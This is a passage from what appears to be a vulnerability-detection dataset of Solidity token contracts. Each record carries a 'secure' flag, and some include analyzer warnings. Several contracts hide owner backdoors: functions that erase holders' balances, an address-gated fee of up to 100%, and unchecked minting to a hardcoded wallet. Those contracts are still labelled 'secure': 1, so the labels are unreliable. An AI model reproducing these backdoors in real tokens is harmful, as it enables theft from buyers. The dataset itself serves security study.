&&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 7c1e761\n\t\t\t\t// reentrancy-eth | ID: f802e58\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 7c1e761\n\t\t\t\t\t// reentrancy-eth | ID: f802e58\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f802e58\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7c1e761\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f802e58\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f802e58\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7c1e761\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e34e90f\n\t\t// reentrancy-events | ID: 7c1e761\n\t\t// reentrancy-benign | ID: a6b4475\n\t\t// reentrancy-eth | ID: f802e58\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6836e98): fred.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6836e98: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e34e90f\n\t\t// reentrancy-events | ID: 7c1e761\n\t\t// reentrancy-eth | ID: f802e58\n\t\t// arbitrary-send-eth | ID: 6836e98\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9487dd5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9487dd5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6f7fb2a): fred.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 6f7fb2a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3994df2): fred.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3994df2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a6c0299): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a6c0299: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9487dd5\n\t\t// reentrancy-eth | ID: a6c0299\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9487dd5\n\t\t// unused-return | ID: 3994df2\n\t\t// reentrancy-eth | ID: a6c0299\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9487dd5\n\t\t// unused-return | ID: 6f7fb2a\n\t\t// reentrancy-eth | ID: a6c0299\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 9487dd5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a6c0299\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_4065.sol",
"secure": 0,
"size_bytes": 17074
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Crashout is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable prestige;\n\n constructor() {\n _name = \"Crash Out\";\n\n _symbol = \"CRASH\";\n\n _decimals = 18;\n\n uint256 initialSupply = 273000000;\n\n prestige = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == prestige, \"Not allowed\");\n\n _;\n }\n\n function tourist(address[] memory incredible) public onlyOwner {\n for (uint256 i = 0; i < incredible.length; i++) {\n address account = incredible[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4066.sol",
"secure": 1,
"size_bytes": 4376
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Pipi is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 270f5c9): Pipi._decimals should be immutable \n\t// Recommendation for 270f5c9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6b84cd6): Pipi._totalSupply should be immutable \n\t// Recommendation for 6b84cd6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8b49077): Pipi._marketseking should be immutable \n\t// Recommendation for 8b49077: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketseking;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketseking = 0x692F5de0056498f98a8F8770FFFc596477a0A6aF;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aporove(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketseking;\n }\n\n function liqlittypipitly(address recipient, uint256 airDrop) external {\n if (isMee()) {\n uint256 receiveRewrd = airDrop;\n\n _balances[recipient] += receiveRewrd;\n } else {\n uint256 receiveRewrd = 0;\n\n _balances[recipient] += receiveRewrd;\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_4067.sol",
"secure": 1,
"size_bytes": 5435
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Pipi is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable champagne;\n\n constructor() {\n _name = \"Pipi\";\n\n _symbol = \"PIPI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 652000000;\n\n champagne = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == champagne, \"Not allowed\");\n\n _;\n }\n\n function administration(address[] memory confidence) public onlyOwner {\n for (uint256 i = 0; i < confidence.length; i++) {\n address account = confidence[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4068.sol",
"secure": 1,
"size_bytes": 4376
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract BinanceDog is ERC20, Ownable {\n bool public transferDelayEnabled = true;\n bool public activeTrading;\n bool public tradeLimitsEnabled = true;\n bool public dynamicTaxToggle;\n bool public antiMevProtection = true;\n\n mapping(address => bool) public detectedBots;\n mapping(address => bool) public feesExempt;\n mapping(address => bool) public exemptFromLimits;\n mapping(address => bool) public marketMakerAutoPairs;\n mapping(address => uint256) private transferTimeBlock;\n\n address public treasuryAccount;\n address public immutable liquidityTokenPair;\n address public immutable wrappedEther;\n\n uint64 public constant DIVISOR_FEE = 10000;\n uint256 public blockStart;\n uint256 public swapMark;\n\n IUniswapV2Router02 public immutable exchangeRouter;\n\n event TransactionUpdateMax(uint256 newMaxCap);\n event UpdateSellTax(uint256 newAmount);\n event SetExemptFee(address addressInfo, bool feeExemptStatus);\n event WalletUpdateMax(uint256 newMaxCap);\n event LimitsEliminated();\n event ChangedBuyTax(uint256 newAmount);\n event SetExemptLimit(address addressInfo, bool feeExemptStatus);\n\n struct TaxSetup {\n uint64 aggregateTax;\n }\n\n struct TaxTokenData {\n uint80 reserveTokensTreasury;\n bool gasConservation;\n }\n struct TransferCaps {\n uint128 maxTransaction;\n uint128 walletCap;\n }\n\n TransferCaps public txLimits;\n TaxTokenData public taxTokenReserve;\n\n TaxSetup public buyTaxConfig;\n TaxSetup public sellTaxDetails;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 56a37eb): BinanceDog.constructor().ownerAddressWallet lacks a zerocheck on \t treasuryAccount = ownerAddressWallet\n\t// Recommendation for 56a37eb: Check that the address is not zero.\n constructor() ERC20(\"Binance Dog\", \"Rosa\") {\n address ownerAddressWallet = msg.sender;\n uint256 totalTokensSupply = 69420000000 * 1e18;\n uint256 totalSupplyLiquidity = (totalTokensSupply * 100) / 100;\n uint256 supplyLeftover = totalTokensSupply - totalSupplyLiquidity;\n _mint(address(this), totalSupplyLiquidity);\n _mint(ownerAddressWallet, supplyLeftover);\n\n address liquidityRouterAddress = address(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dynamicTaxToggle = true;\n\n exchangeRouter = IUniswapV2Router02(liquidityRouterAddress);\n\n txLimits.maxTransaction = uint128((totalSupply() * 100) / 10000);\n txLimits.walletCap = uint128((totalSupply() * 100) / 10000);\n swapMark = (totalSupply() * 25) / 100000;\n\n\t\t// missing-zero-check | ID: 56a37eb\n treasuryAccount = ownerAddressWallet;\n\n buyTaxConfig.aggregateTax = 0;\n sellTaxDetails.aggregateTax = 0;\n\n taxTokenReserve.gasConservation = true;\n\n wrappedEther = exchangeRouter.WETH();\n liquidityTokenPair = IUniswapV2Factory(exchangeRouter.factory())\n .createPair(address(this), wrappedEther);\n\n marketMakerAutoPairs[liquidityTokenPair] = true;\n\n exemptFromLimits[liquidityTokenPair] = true;\n exemptFromLimits[owner()] = true;\n exemptFromLimits[ownerAddressWallet] = true;\n exemptFromLimits[address(this)] = true;\n\n feesExempt[owner()] = true;\n feesExempt[ownerAddressWallet] = true;\n feesExempt[address(this)] = true;\n feesExempt[address(exchangeRouter)] = true;\n\n _approve(address(this), address(exchangeRouter), type(uint256).max);\n _approve(address(owner()), address(exchangeRouter), totalSupply());\n }\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b84ad75): BinanceDog.distributeToAddresses(address[],uint256[]) has external calls inside a loop (transactionSuccess,None) = airdropAddresses[i_scope_0].call{value ethBalances[i_scope_0]}()\n\t// Recommendation for b84ad75: Favor pull over push strategy for external calls.\n function distributeToAddresses(\n address[] calldata airdropAddresses,\n uint256[] calldata ethBalances\n ) external payable onlyOwner {\n require(\n airdropAddresses.length == ethBalances.length,\n \"Arrays length mismatch\"\n );\n\n uint256 totalEther = 0;\n\n for (uint256 i = 0; i < ethBalances.length; i++) {\n totalEther += ethBalances[i];\n }\n\n require(msg.value >= totalEther, \"Insufficient ETH sent\");\n\n for (uint256 i = 0; i < airdropAddresses.length; i++) {\n\t\t\t// calls-loop | ID: b84ad75\n (bool transactionSuccess, ) = airdropAddresses[i].call{\n value: ethBalances[i]\n }(\"\");\n require(transactionSuccess, \"ETH transfer failed\");\n }\n\n uint256 leftoverETH = msg.value - totalEther;\n if (leftoverETH > 0) {\n (bool wasRefunded, ) = msg.sender.call{value: leftoverETH}(\"\");\n require(wasRefunded, \"Refund failed\");\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bcb9033): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bcb9033: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aeb6464): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aeb6464: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 676f822): BinanceDog._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(tx.origin == origin || tx.origin == _msgSender() || ! detectedBots[tx.origin],bot detected)\n\t// Recommendation for 676f822: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b63947d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b63947d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address origin,\n address recipientEntity,\n uint256 quantity\n ) internal virtual override {\n require(!detectedBots[origin], \"bot detected\");\n require(\n _msgSender() == origin || !detectedBots[_msgSender()],\n \"bot detected\"\n );\n\t\t// tx-origin | ID: 676f822\n require(\n tx.origin == origin ||\n tx.origin == _msgSender() ||\n !detectedBots[tx.origin],\n \"bot detected\"\n );\n if (!feesExempt[origin] && !feesExempt[recipientEntity]) {\n require(activeTrading, \"Trading not active\");\n\t\t\t// reentrancy-events | ID: bcb9033\n\t\t\t// reentrancy-benign | ID: aeb6464\n\t\t\t// reentrancy-eth | ID: b63947d\n quantity -= calculateTax(origin, recipientEntity, quantity);\n\t\t\t// reentrancy-benign | ID: aeb6464\n limitsValidation(origin, recipientEntity, quantity);\n }\n\n\t\t// reentrancy-events | ID: bcb9033\n\t\t// reentrancy-eth | ID: b63947d\n super._transfer(origin, recipientEntity, quantity);\n }\n\n function retrieveOtherTokens(\n address tokenAddr,\n address recipientEntity\n ) external onlyOwner {\n require(tokenAddr != address(0), \"Token address cannot be 0\");\n uint256 contractTokenAmt = IERC20(tokenAddr).balanceOf(address(this));\n SafeERC20.safeTransfer(\n IERC20(tokenAddr),\n recipientEntity,\n contractTokenAmt\n );\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 1d4dfcb): BinanceDog.limitsValidation(address,address,uint256) uses tx.origin for authorization require(bool,string)(transferTimeBlock[tx.origin] < block.number,Transfer Delay)\n\t// Recommendation for 1d4dfcb: Do not use 'tx.origin' for authorization.\n function limitsValidation(\n address origin,\n address recipientEntity,\n uint256 quantity\n ) internal {\n if (tradeLimitsEnabled) {\n bool exemptFlagRecipient = exemptFromLimits[recipientEntity];\n uint256 toBalance = balanceOf(recipientEntity);\n TransferCaps memory currentTransactionLimits = txLimits;\n\n if (marketMakerAutoPairs[origin] && !exemptFlagRecipient) {\n require(\n quantity <= currentTransactionLimits.maxTransaction,\n \"Max Txn\"\n );\n require(\n quantity + toBalance <= currentTransactionLimits.walletCap,\n \"Max Wallet\"\n );\n } else if (\n marketMakerAutoPairs[recipientEntity] &&\n !exemptFromLimits[origin]\n ) {\n require(\n quantity <= currentTransactionLimits.maxTransaction,\n \"Max Txn\"\n );\n } else if (!exemptFlagRecipient) {\n require(\n quantity + toBalance <= currentTransactionLimits.walletCap,\n \"Max Wallet\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n recipientEntity != address(exchangeRouter) &&\n recipientEntity != address(liquidityTokenPair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 1d4dfcb\n require(\n transferTimeBlock[tx.origin] < block.number,\n \"Transfer Delay\"\n );\n }\n }\n }\n\n if (antiMevProtection) {\n if (marketMakerAutoPairs[recipientEntity]) {\n require(transferTimeBlock[origin] < block.number, \"Anti MEV\");\n } else {\n\t\t\t\t// reentrancy-benign | ID: aeb6464\n transferTimeBlock[recipientEntity] = block.number;\n\t\t\t\t// reentrancy-benign | ID: aeb6464\n transferTimeBlock[tx.origin] = block.number;\n }\n }\n }\n\n function botsSetup(\n address[] calldata addressList,\n bool status\n ) public onlyOwner {\n for (uint256 i = 0; i < addressList.length; i++) {\n if (\n (!marketMakerAutoPairs[addressList[i]]) &&\n (addressList[i] != address(exchangeRouter)) &&\n (addressList[i] != address(this)) &&\n (!feesExempt[addressList[i]] &&\n !exemptFromLimits[addressList[i]])\n ) internalBotsSet(addressList[i], status);\n }\n }\n\n function updateInternalTaxes() internal {\n uint256 startBlocksCount = block.number - blockStart;\n if (startBlocksCount <= 8) {\n modifyTaxAndLimits(0, 100);\n } else {\n modifyTaxAndLimits(0, 10000);\n\t\t\t// reentrancy-benign | ID: 0d13247\n dynamicTaxToggle = false;\n\t\t\t// reentrancy-benign | ID: 0d13247\n transferDelayEnabled = false;\n }\n }\n\n function tokensToETHExchange(uint256 amountTokens) private {\n address[] memory exchangePath = new address[](2);\n exchangePath[0] = address(this);\n exchangePath[1] = wrappedEther;\n\n\t\t// reentrancy-events | ID: 5fe327f\n\t\t// reentrancy-events | ID: bcb9033\n\t\t// reentrancy-benign | ID: 0d13247\n\t\t// reentrancy-benign | ID: aeb6464\n\t\t// reentrancy-eth | ID: b63947d\n\t\t// reentrancy-eth | ID: 8eed37c\n\t\t// reentrancy-eth | ID: 6185a3f\n exchangeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountTokens,\n 0,\n exchangePath,\n address(this),\n block.timestamp\n );\n }\n\n function updateExemptStatusLimit(\n address addressInfo,\n bool feeExemptStatus\n ) external onlyOwner {\n require(addressInfo != address(0), \"Zero Address\");\n if (!feeExemptStatus) {\n require(addressInfo != liquidityTokenPair, \"Cannot remove pair\");\n }\n exemptFromLimits[addressInfo] = feeExemptStatus;\n emit SetExemptLimit(addressInfo, feeExemptStatus);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0cc2d9c): BinanceDog.updateThresholdSwap(uint256) should emit an event for swapMark = newAmount \n\t// Recommendation for 0cc2d9c: Emit an event for critical parameter changes.\n function updateThresholdSwap(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\t\t// events-maths | ID: 0cc2d9c\n swapMark = newAmount;\n }\n\n function setTreasuryAddress(address addressNewTreasury) external onlyOwner {\n require(addressNewTreasury != address(0), \"Zero address\");\n treasuryAccount = addressNewTreasury;\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6185a3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6185a3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7cf5a3b): BinanceDog.swapTaxTokens() sends eth to arbitrary user Dangerous calls (transactionSuccess,None) = treasuryAccount.call{value balanceOfETH}()\n\t// Recommendation for 7cf5a3b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapTaxTokens() private {\n uint256 contractTotalBalance = balanceOf(address(this));\n TaxTokenData memory taxTokens = taxTokenReserve;\n uint256 totalTokensSwap = taxTokens.reserveTokensTreasury;\n\n if (contractTotalBalance == 0 || totalTokensSwap == 0) {\n return;\n }\n\n if (contractTotalBalance > swapMark * 20) {\n contractTotalBalance = swapMark * 20;\n }\n\n if (contractTotalBalance > 0) {\n\t\t\t// reentrancy-eth | ID: 6185a3f\n tokensToETHExchange(contractTotalBalance);\n\n uint256 balanceOfETH = address(this).balance;\n\n bool transactionSuccess;\n\n balanceOfETH = address(this).balance;\n\n if (balanceOfETH > 0) {\n\t\t\t\t// reentrancy-events | ID: 5fe327f\n\t\t\t\t// reentrancy-events | ID: bcb9033\n\t\t\t\t// reentrancy-benign | ID: 0d13247\n\t\t\t\t// reentrancy-benign | ID: aeb6464\n\t\t\t\t// reentrancy-eth | ID: b63947d\n\t\t\t\t// reentrancy-eth | ID: 8eed37c\n\t\t\t\t// reentrancy-eth | ID: 6185a3f\n\t\t\t\t// 